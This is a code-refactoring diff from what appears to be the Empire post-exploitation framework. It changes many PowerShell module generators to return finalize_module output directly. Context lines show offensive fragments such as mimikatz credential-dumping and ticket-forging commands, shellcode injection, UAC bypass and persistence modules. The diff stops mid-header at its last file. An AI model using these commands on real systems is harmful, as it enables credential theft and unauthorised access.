def generate( if persistent != "": script += " persistent=yes" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/collection/screenshot.py b/empire/server/modules/powershell/collection/screenshot.py index 646b880bb..7a2e6c955 100644 --- a/empire/server/modules/powershell/collection/screenshot.py +++ b/empire/server/modules/powershell/collection/screenshot.py @@ -40,10 +40,9 @@ def generate( else: script_end += " -" + str(option) + " " + str(values) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py index b3bc8bd0e..1d65d5819 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py +++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py @@ -39,10 +39,9 @@ def generate( outputf = params.get("OutputFunction", "Out-String") script_end += f" | {outputf};" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py index 83a166849..ea9dcae48 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py @@ -63,10 +63,9 @@ def generate( script_end += " /ptt\"'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py index 1eb2d4365..adbecff4d 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py +++ b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py @@ -31,10 +31,9 @@ def generate( script_end += "\"';" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py index 01bbd01f2..a00c16552 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py +++ b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py @@ -55,10 +55,9 @@ def generate( script_end += "\"';" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.py b/empire/server/modules/powershell/credentials/mimikatz/pth.py index d7fda4c25..1c85982f0 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/pth.py +++ b/empire/server/modules/powershell/credentials/mimikatz/pth.py @@ -61,10 +61,9 @@ def generate( ';"`nUse credentials/token to steal the token of the created PID."' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py index 7d9250ab8..73764f5ae 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py @@ -70,10 +70,9 @@ def generate( script_end += " /ptt\"'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py index a94c47fff..e8f3e8cad 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py +++ b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py @@ -28,10 +28,9 @@ def generate( else: script_end += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/tokens.py b/empire/server/modules/powershell/credentials/tokens.py index 8e61487d2..930cb2ede 100644 --- a/empire/server/modules/powershell/credentials/tokens.py +++ b/empire/server/modules/powershell/credentials/tokens.py @@ -73,10 +73,9 @@ def generate( if params["RevToSelf"].lower() != "true": script_end += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/exfiltration/PSRansom.py b/empire/server/modules/powershell/exfiltration/PSRansom.py index 16fd0cbc0..2f2f9893d 100644 --- a/empire/server/modules/powershell/exfiltration/PSRansom.py +++ b/empire/server/modules/powershell/exfiltration/PSRansom.py @@ -43,10 +43,9 @@ def generate( args += ")\n" script = args + script - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py index ddefe0337..ffccea50b 100755 --- a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py +++ b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py @@ -34,10 +34,9 @@ def generate( script_end += "; 'Exploit complete'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py index 750b7e7f9..d8a54beee 100644 --- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py +++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py @@ -79,10 +79,9 @@ def generate( else: script_end += " -" + str(option) + ' "' + str(values) + '"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py index fbf08392f..ed319c06c 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py @@ -77,10 +77,9 @@ def generate( script_end = f"Invoke-DCOM -ComputerName {computer_name} -Method {method} -Command '{Cmd}'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py index 3030015ed..a7d0fd383 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py @@ -104,10 +104,9 @@ def generate( script_end += " | Out-String" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py index 3ad989e93..4b5a5ec9d 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py @@ -79,10 +79,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py index a4e6e9d9d..e9aeeff51 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py @@ -89,10 +89,9 @@ def generate( script += ";'Invoke-PSRemoting executed on " + computer_names + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py index 42ba1814d..082bb2551 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py @@ -85,10 +85,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py index f1c0d7125..235788598 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py @@ -79,10 +79,9 @@ def generate( if password != "": script_end += " -Password " + password - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py index ec07ee275..5b6c80a0d 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py @@ -61,10 +61,9 @@ def generate( else: script_end += " -" + str(option) + " " + str(values) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py index 2d474d6ff..09a9c8426 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py @@ -100,10 +100,9 @@ def generate( script += ";'Invoke-Wmi executed on " + computer_names + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py index d2d06a016..1c3782957 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py @@ -155,10 +155,9 @@ def generate( script += ";'Invoke-Wmi executed on " + computer_names + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py index fab5aa9cd..a29f99b4d 100644 --- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py +++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py @@ -55,10 +55,9 @@ def generate( script_end += " -Port " + str(params["Port"]) script_end += ' -Cmd "' + launcher + '"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py index 45af86c00..989a8e0bf 100644 --- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py +++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py @@ -95,10 +95,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/invoke_bypass.py b/empire/server/modules/powershell/management/invoke_bypass.py index e4029313e..8b548ee27 100644 --- a/empire/server/modules/powershell/management/invoke_bypass.py +++ b/empire/server/modules/powershell/management/invoke_bypass.py @@ -20,7 +20,7 @@ def generate( if bypass: script += bypass.code - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate or params["Obfuscate"], @@ -30,4 +30,3 @@ def generate( else params["ObfuscateCommand"] ), ) - return script diff --git a/empire/server/modules/powershell/management/invoke_script.py b/empire/server/modules/powershell/management/invoke_script.py index bbf53ee8b..204453182 100644 --- a/empire/server/modules/powershell/management/invoke_script.py +++ b/empire/server/modules/powershell/management/invoke_script.py @@ -29,10 +29,9 @@ def generate( script += f"{script_cmd}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/logoff.py b/empire/server/modules/powershell/management/logoff.py index 905b861e2..9dbf5ad39 100644 --- a/empire/server/modules/powershell/management/logoff.py +++ b/empire/server/modules/powershell/management/logoff.py @@ -18,10 +18,9 @@ def generate( else: script = "'Logging off current user.'; Start-Sleep -s 3; shutdown /l /f" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/mailraider/disable_security.py b/empire/server/modules/powershell/management/mailraider/disable_security.py index b4e7e78d2..96678950a 100644 --- a/empire/server/modules/powershell/management/mailraider/disable_security.py +++ b/empire/server/modules/powershell/management/mailraider/disable_security.py @@ -56,10 +56,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/mailraider/get_emailitems.py b/empire/server/modules/powershell/management/mailraider/get_emailitems.py index 008e16680..6c66577d1 100644 --- a/empire/server/modules/powershell/management/mailraider/get_emailitems.py +++ b/empire/server/modules/powershell/management/mailraider/get_emailitems.py @@ -36,10 +36,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/psinject.py b/empire/server/modules/powershell/management/psinject.py index 25eb99966..a06463958 100644 --- a/empire/server/modules/powershell/management/psinject.py +++ b/empire/server/modules/powershell/management/psinject.py @@ -69,10 +69,9 @@ def generate( else: script_end += f"Invoke-PSInject -ProcName {proc_name} -PoshCode {launcher_code}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/reflective_inject.py b/empire/server/modules/powershell/management/reflective_inject.py index 58e8e801a..956c517ea 100644 --- a/empire/server/modules/powershell/management/reflective_inject.py +++ b/empire/server/modules/powershell/management/reflective_inject.py @@ -81,10 +81,9 @@ def rand_text_alphanumeric( script_end += "\r\n" script_end += f"Remove-Item -Path {full_upload_path}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/runas.py b/empire/server/modules/powershell/management/runas.py index 188291ad8..a7144abfe 100644 --- a/empire/server/modules/powershell/management/runas.py +++ b/empire/server/modules/powershell/management/runas.py @@ -68,10 +68,9 @@ def generate( else: script_end += " -" + str(option) + " '" + str(values) + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/shinject.py b/empire/server/modules/powershell/management/shinject.py index f2739f8f5..cd2b470a2 100644 --- a/empire/server/modules/powershell/management/shinject.py +++ b/empire/server/modules/powershell/management/shinject.py @@ -60,10 +60,9 @@ def generate( script_end = f'\nInvoke-Shellcode -ProcessID {proc_id} -Shellcode $([Convert]::FromBase64String("{encoded_sc}")) -Force' script_end += f"; shellcode injected into pid {proc_id!s}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/spawn.py b/empire/server/modules/powershell/management/spawn.py index fbd0b84e5..04479b0e3 100644 --- a/empire/server/modules/powershell/management/spawn.py +++ b/empire/server/modules/powershell/management/spawn.py @@ -65,10 +65,9 @@ def generate( parts[0], " ".join(parts[1:]), listener_name ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/spawnas.py b/empire/server/modules/powershell/management/spawnas.py index ce440a95a..e501e6a04 100644 --- a/empire/server/modules/powershell/management/spawnas.py +++ b/empire/server/modules/powershell/management/spawnas.py @@ -69,10 +69,9 @@ def generate( script_end += r'-Cmd "$env:public\debug.bat"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/switch_listener.py b/empire/server/modules/powershell/management/switch_listener.py index 653f40cc5..dc1e0a037 100644 --- a/empire/server/modules/powershell/management/switch_listener.py +++ b/empire/server/modules/powershell/management/switch_listener.py @@ -32,10 +32,9 @@ def generate( # signal the existing listener that we're switching listeners, and the new comms code script = f"Send-Message -Packets $(Encode-Packet -Type 130 -Data '{listener_name}');\n{script}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/user_to_sid.py b/empire/server/modules/powershell/management/user_to_sid.py index 366ebfa13..9ba968379 100644 --- a/empire/server/modules/powershell/management/user_to_sid.py +++ b/empire/server/modules/powershell/management/user_to_sid.py @@ -15,10 +15,9 @@ def generate( params["Domain"], params["User"] ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/elevated/registry.py b/empire/server/modules/powershell/persistence/elevated/registry.py index e161209fc..02e9ca6a8 100644 --- a/empire/server/modules/powershell/persistence/elevated/registry.py +++ b/empire/server/modules/powershell/persistence/elevated/registry.py @@ -67,13 +67,12 @@ def generate( + key_name + ";" ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -155,10 +154,9 @@ def generate( script += "'Registry persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/elevated/schtasks.py b/empire/server/modules/powershell/persistence/elevated/schtasks.py index 66191ef9b..a1e2ba989 100644 --- a/empire/server/modules/powershell/persistence/elevated/schtasks.py +++ b/empire/server/modules/powershell/persistence/elevated/schtasks.py @@ -69,13 +69,12 @@ def generate( script += "schtasks /Delete /F /TN " + task_name + ";" script += "'Schtasks persistence removed.'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -195,10 +194,9 @@ def generate( status_msg += " with " + task_name + " daily trigger at " + daily_time + "." script += "'Schtasks persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.py b/empire/server/modules/powershell/persistence/elevated/wmi.py index cc70d15b1..13404d2bd 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi.py @@ -74,13 +74,12 @@ def generate( ) script = main_menu.obfuscationv2.obfuscate_keywords(script) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -249,10 +248,9 @@ def generate( script += "'WMI persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py index 8ab65a8eb..625e68af1 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py @@ -66,13 +66,12 @@ def generate( "'WMI persistence with subscription named " + sub_name + " removed.'" ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -212,10 +211,9 @@ def generate( script += "'WMI persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/misc/add_sid_history.py b/empire/server/modules/powershell/persistence/misc/add_sid_history.py index 8cbe41565..3bc9d85ce 100644 --- a/empire/server/modules/powershell/persistence/misc/add_sid_history.py +++ b/empire/server/modules/powershell/persistence/misc/add_sid_history.py @@ -30,10 +30,9 @@ def generate( # base64 encode the command to pass to Invoke-Mimikatz script_end = f"Invoke-Mimikatz {command};" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/misc/debugger.py b/empire/server/modules/powershell/persistence/misc/debugger.py index 10dc10e98..693fb83ec 100644 --- a/empire/server/modules/powershell/persistence/misc/debugger.py +++ b/empire/server/modules/powershell/persistence/misc/debugger.py @@ -31,13 +31,12 @@ def generate( if cleanup.lower() == "true": # the registry command to disable the debugger for Utilman.exe script = f"Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\{target_binary}';'{target_binary} debugger removed.'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if listener_name != "": # if there's a listener specified, generate a stager and store it @@ -107,10 +106,9 @@ def generate( + "'" ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py index 3d46b2ca9..740b14556 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py +++ b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py @@ -136,10 +136,9 @@ def generate( parts[0], " ".join(parts[1:]) ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py index a45c77316..92b046ed7 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py +++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py @@ -114,10 +114,9 @@ def generate( parts[0], " ".join(parts[1:]) ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/powerbreach/resolver.py b/empire/server/modules/powershell/persistence/powerbreach/resolver.py index cb7efa793..c138cccee 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/resolver.py +++ b/empire/server/modules/powershell/persistence/powerbreach/resolver.py @@ -123,10 +123,9 @@ def generate( parts[0], " ".join(parts[1:]) ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py index 028be910f..4e87fe815 100644 --- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py +++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py @@ -110,10 +110,9 @@ def generate( script_end += f" -EncScript '{encScript}'" script_end += f"; \"Invoke-BackdoorLNK run on path '{lnk_path}' with stager for listener '{listener_name}'\"" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/userland/registry.py b/empire/server/modules/powershell/persistence/userland/registry.py index 9ef4824cc..052da0f73 100644 --- a/empire/server/modules/powershell/persistence/userland/registry.py +++ b/empire/server/modules/powershell/persistence/userland/registry.py @@ -69,13 +69,12 @@ def generate( + ";" ) script += "'Registry Persistence removed.'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -195,10 +194,9 @@ def generate( script += "'Registry persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/userland/schtasks.py b/empire/server/modules/powershell/persistence/userland/schtasks.py index 3982cc68f..e1af72194 100644 --- a/empire/server/modules/powershell/persistence/userland/schtasks.py +++ b/empire/server/modules/powershell/persistence/userland/schtasks.py @@ -67,13 +67,12 @@ def generate( script += "schtasks /Delete /F /TN " + task_name + ";" script += "'Schtasks persistence removed.'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -188,10 +187,9 @@ def generate( script += "'Schtasks persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/ask.py b/empire/server/modules/powershell/privesc/ask.py index 83c06dd50..b4cc4596b 100644 --- a/empire/server/modules/powershell/privesc/ask.py +++ b/empire/server/modules/powershell/privesc/ask.py @@ -58,10 +58,9 @@ def generate( }} """ - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac.py b/empire/server/modules/powershell/privesc/bypassuac.py index dfed11c02..8d5efc29a 100644 --- a/empire/server/modules/powershell/privesc/bypassuac.py +++ b/empire/server/modules/powershell/privesc/bypassuac.py @@ -52,10 +52,9 @@ def generate( else: script_end = f'Invoke-BypassUAC -Command "{launcher}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.py b/empire/server/modules/powershell/privesc/bypassuac_env.py index e098f6d25..b8c44d8f4 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_env.py +++ b/empire/server/modules/powershell/privesc/bypassuac_env.py @@ -51,10 +51,9 @@ def generate( return handle_error_message("[!] Error in launcher generation.") else: script_end = f'Invoke-EnvBypass -Command "{enc_script}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py 